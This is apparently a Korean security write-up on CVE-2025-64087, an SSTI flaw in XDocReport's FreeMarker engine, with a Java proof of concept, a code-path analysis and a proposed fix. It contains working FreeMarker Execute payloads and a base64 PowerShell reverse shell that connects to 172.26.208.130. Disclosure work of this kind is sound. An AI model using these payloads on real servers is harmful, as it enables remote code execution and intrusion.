
CVE-2025-64087(SSTI)
취약점 개요
SSTI(Server-Side Template Injection)는 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 활동을 수행할 수 있게 하는 웹 보안 취약점입니다.
SSTI는 SQL Injection, XSS 등과 같은 Injection 취약점의 변형으로, 공격자가 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있으며, 이를 통해 민감 정보 수집, 시스템 침투 활동 수행, 인가되지 않은 리소스에 접근 등의 원격 공격을 할 수 있습니다.
SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나, 입력 매개변수를 템플릿에 삽입하기 전에 검증 및 처리하지 않아 발생합니다. SSTI 공격이 성공할 경우 피해 조직에 심각한 결과와 큰 손실을 초래할 수 있습니다.
비즈니스 영향
SSTI 취약점은 다음과 같은 여러 심각한 결과를 초래할 수 있습니다.
악성 코드 실행: 공격자는 이 취약점을 이용하여 서버에서 악성 코드를 실행할 수 있으며, 이를 통해 데이터 탈취, 시스템 상의 불법 행위 수행, 심지어 서버를 완전히 제어할 수 있습니다.
민감 정보 노출: SSTI를 통해 공격자는 서버의 파일을 읽거나, 변경하거나, 삭제할 수 있습니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우, 공격자는 쉽게 이 정보를 노출시킬 수 있습니다.
사용자 협박 또는 사기 공격: 공격자는 SSTI를 사용하여 웹사이트 콘텐츠를 변경하거나 가짜 사용자 정의 버튼을 추가함으로써 사용자를 협박하거나 사기 공격을 수행할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자는 사용자 정보를 탈취하거나 사용자 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.
OpenSAGRES XDocReport에서 FreeMarker 엔진으로 DOCX 템플릿을 처리할 때 SSTI(Server-Side Template Injection) 취약점이 발견되었습니다. 특정 구성 하에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.
인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 FreeMarker 템플릿 엔진(FreemarkerTemplateEngine.java 파일)을 사용하여 ${"freemarker.template.utility.Execute"?new()("whoami")} 콘텐츠를 입력 콘텐츠에 대한 제어 또는 필터링 메커니즘 없이 렌더링합니다.
이 취약점을 통해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 제어에 악용될 수 있습니다.
fr.opensagres.xdocreport.template.freemarker — XDocReport (버전 1.0.0 ~ 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 파일에서 입력 xdoc 파일의 콘텐츠를 검사하지 않습니다. 템플릿 콘텐츠가 그대로 로드되어 sandboxing 메커니즘이나 지시문/표현식 제한 없이 process(context, writer, template)에 전달되어 FreeMarker 엔진에 의해 처리됩니다. 결과적으로 공격자는 악성 FreeMarker 표현식/명령이 포함된 템플릿을 제공하여 원격 코드 실행(RCE)을 유발할 수 있습니다..docx 파일을 업로드합니다.```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 성공적으로 실행되어 계산기 앱이 열리는 것을 확인

3. 마찬가지로 시스템에서 실행 중인 사용자 정보를 가져오려면 다음 payload를 사용:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx 파일이 시스템 데이터를 반환한 것을 확인할 수 있습니다.


6. RCE로 영향력 상향
- 수신 대기 중인 머신은 IP 주소 `172.26.208.130`을 가진 WSL입니다.

- 다음 페이로드를 이용한 익스플로잇:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx 파일을 xdocreport로 처리xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 파일에 다음 내용을 추가합니다.제 수정 방법은 ${cuong.name}과 같은 일반 객체와 속성 렌더링을 계속 허용하며, 위험한 내장 함수만 차단합니다.
${'freemarker.template.utility.Execute'?new()('calc')} - ALLOWS_NOTHING_RESOLVER에 의해 차단됨${'java.lang.Runtime'?api.getRuntime()} - setAPIBuiltinEnabled(false)에 의해 차단됨?new() 및 ?api를 사용하는 다른 모든 페이로드가 차단됩니다.경로: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
변경 사항:
✅ 추가된 import: java.util.regex.Pattern
✅ validateTemplateSecurity(Reader reader) 메서드 추가 — 위험한 패턴 검증
✅ processNoCache() 업데이트 — 템플릿 생성 전 검증 추가
✅ process(String templateName, …) 업데이트 — 이 메서드에 검증 추가
경로: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
변경 사항:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder 등| 파일 | 변경 유형 | 목적 |
|---|---|---|
| FreemarkerTemplateEngine.java | 수정됨 | SSTI 보호 추가 |
| FreemarkerTemplateEngineSecurityTestCase.java | 새 파일 | 검증 로직 테스트 |
2.2.0 패치에서는 보호 메커니즘이 활성화되어 SSTI를 성공적으로 차단했습니다.
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- 가져올 라이브러리```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A 시작점 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ 소스는 이 DOCX 파일입니다 — 사용자가 파일을 업로드/저장하는 경우 내부 템플릿 내용(FreeMarker 구문)은 신뢰할 수 없는 데이터입니다.```
InputStream input = new FileInputStream(docxTemplate);
→ 파일 내용을 읽어 XDocReport에 전달합니다.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...)는 DOCX 파일을 구문 분석(parse)하고, DOCX 내의 entry/template을 찾아 IXDocReport를 생성합니다(내부적으로 FreeMarker의 Template 객체를 초기화하거나 템플릿용 reader를 유지합니다).
- DOCX 파일의 템플릿 내용은 이제 report 객체에 있습니다(아직 실행되지 않음).


zipInputStream.getNextEntry()는 ZIP(.docx) 내의 각 entry(각 파일)를 반복합니다.
archive = new XDocArchive(...) — archive가 아직 없으면 문서의 entry를 구성/등록하는 객체를 초기화합니다.

요약: 이 부분은 DOCX 내용을 내부 구조(XDocArchive)로 추출하여 이후 부분에서 하위 파일(document.xml 등)에 접근할 수 있도록 합니다.```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Bước | Hành động | Mục đích |
|---|---|---|
| 1 | DOCX 파일 읽기 | 원본 보고서 구조 획득 |
| 2 | IXDocReport 생성 | 템플릿 대표 |
| 3 | ID 할당 | 고유 관리 |
| 4 | 템플릿 엔진 선택 | 식 처리용 (Freemarker/Velocity) |
| 5 | 필요시 캐시 | 성능 최적화 |
| 6 | 보고서 반환 | 결과 파일 렌더링에 사용 |
요약하면 IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); 에서 SSTI 검사 메커니즘이 없으며 단지 docx 내의 xml 파일을 로드하여 처리 준비가 된 IXDocReport report를 반환합니다(예: 렌더링, 데이터 병합 등).
report.process(context, out); 에서
이 함수 내부를 살펴보면 preprocess(...)를 호출하여 각 XML 항목을 읽고 XML 콘텐츠를 파싱한 후 BufferedDocument를 생성하고 Writer에 기록합니다(이는 사전 처리된 XML 버전입니다).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

그런 다음 `processNoCache()`로 들어가 `getReader()`를 호출합니다.


`getReader()` 함수는 템플릿 전체를 escape directive로 감싸서 내용이 안전하게 처리되도록 합니다 (HTML 이스케이프, 인젝션 방지).

원본 템플릿:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
getReader() 처리 후:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
Freemarker 엔진이 더 안전하게 읽을 수 있도록 해줍니다:
- XML 보호: XML에서 특수 문자 이스케이프
- 안전한 처리: Freemarker가 템플릿을 구문 분석할 때 오류 방지
그런 다음 `FMParser`를 호출하여 Freemarker 구문을 분석합니다

마지막으로 `process()`에서 `environment.process();`를 호출하고 데이터를 읽습니다.```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 이것이 가장 중요한 단계입니다 — 실제 렌더링이 발생합니다.
getTemplate()는 파싱된 템플릿(AST)을 반환합니다.
getRootTreeNode()는 FMParser가 파싱 시 생성한 구문 트리의 루트 노드입니다.
visit()는 FreeMarker의 핵심 API로, 템플릿의 각 요소를 탐색하고 렌더링하는 데 사용되며, freemarker.core.Environment에 정의되어 있습니다.
TextBlock을 만나면 → 텍스트를 out에 씁니다.
Interpolation(예: ${user.name})을 만나면 → dataModel에서 조회하여 값을 가져와 out에 씁니다.
#if, #list, #include, 매크로를 만나면 → 해당 로직을 처리합니다.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



entryName `word/document.xml`에서 트리거됩니다.

다음으로 `accept()` 함수로 점프합니다.
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









`visit()` 함수의 실행 흐름은 다음과 같습니다.```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **악용 가능한 주요 지점 요약**
| 단계 | 클래스 | 역할 | SSTI 관련 |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | 템플릿 로드 | 입력 제어 불가 |
| `getReader()` | `TemplateEngine` | 템플릿 데이터 읽기 | 페이로드 포함 가능 |
| `FMParser` | `freemarker.core` | 내용 파싱 | `${}` 변수 분석됨 |
| `Environment.process()` | `freemarker.core` | 템플릿 렌더링 | 각 노드의 `visit()` 호출 |
| `visit()` / `eval()` | `freemarker.core` | 표현식 실행 | **SSTI / RCE 지점** |
---
## 문서
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link